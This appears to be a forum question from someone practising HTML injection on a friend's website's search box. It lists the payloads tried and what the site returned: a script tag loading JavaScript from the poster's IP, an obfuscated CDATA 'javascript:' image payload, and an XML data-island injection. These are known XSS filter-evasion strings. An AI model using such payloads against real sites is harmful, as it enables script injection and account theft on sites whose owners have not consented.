I am practicing HTML injection on my friends website(he knows that I am practicing). So I found one vulnerability if I type
<!----> in search box username or password website ignores it. and I practiced some tags in search box like
<script>, <styles>, <link> and website ignores(or I don't know what it does with them).
So I typed this in search box
<script src=[myip]/tmp.js></script> and when I did this as query it gave result
Error: Please enter a query to search. and in that
tmp.js file was a simple
alert('hey'); but website didn't pop
So I tried some other injections from different websites and got these as output(all in search box)
INPUT: "<xml ID=I><X><C><![CDATA[<IMG SRC=""javas]]><![CDATA[cript:alert('XSS');"">]]>" OUTPUT: Results for """"
INPUT: "<xml SRC=""xsstest.xml"" ID=I></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>" OUTPUT: Results for ""<span></span>""